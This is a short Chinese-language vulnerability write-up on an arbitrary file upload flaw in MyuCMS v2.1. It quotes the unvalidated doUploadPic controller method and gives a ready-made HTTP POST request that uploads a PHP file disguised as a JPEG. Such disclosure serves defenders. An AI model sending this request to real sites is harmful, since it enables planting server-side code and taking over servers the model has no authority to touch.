# MyuCMS v2.1 文件上传漏洞
========================
一、漏洞简介
————
二、漏洞影响
————
MyuCMS v2.1
三、复现过程
————
CNVD 上对应的标题为 **myucms fo\*\*\*.php页面存在文件上传漏洞**
搜索项目中fo开头的文件,定位到
**application/admin/controller/Forum.php** 中的 **doUploadPic** 方法
public function doUploadPic()
{
$file = request()->file(‘FileName’);
$info = $file->move(ROOT_PATH . DS . ‘uploads’);
if($info){
$path = WEB_URL . DS . ‘uploads’ . DS .$info->getSaveName();
echo str_replace(“\\”,”/”,$path);
}
}
可以看到上述代码调用了 **Thinkphp** 内置的 **move**
方法来对上传的文件进行处理。但是在调用 **move** 方法前未调用
**validate()** 方法来设置验证规则。以至于此处形成了任意文件上传漏洞。
### Payload
根据 **doUploadPic()** 方法构建 **Payload数据包** 如下:
POST /admin/forum/doUploadPic HTTP/1.1
Host: www.0-sec.org
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=—————————18467633426500
Cookie: PHPSESSID=l6ijpio06mqmhcdq654g63eq90; UM_distinctid=170343d2b4a291-0a4e487f247e62-4c302978-1fa400-170343d2b4b28f; CNZZDATA1277972876=1874892142-1581419669-%7C1581432904
Upgrade-Insecure-Requests: 1
Content-Length: 206
—————————–18467633426500
Content-Disposition: form-data; name=”FileName”; filename=”1.php”
Content-Type: image/jpeg
—————————–18467633426500–
参考链接
——–
> https://xz.aliyun.com/t/7271\#toc-0
请登录后查看评论内容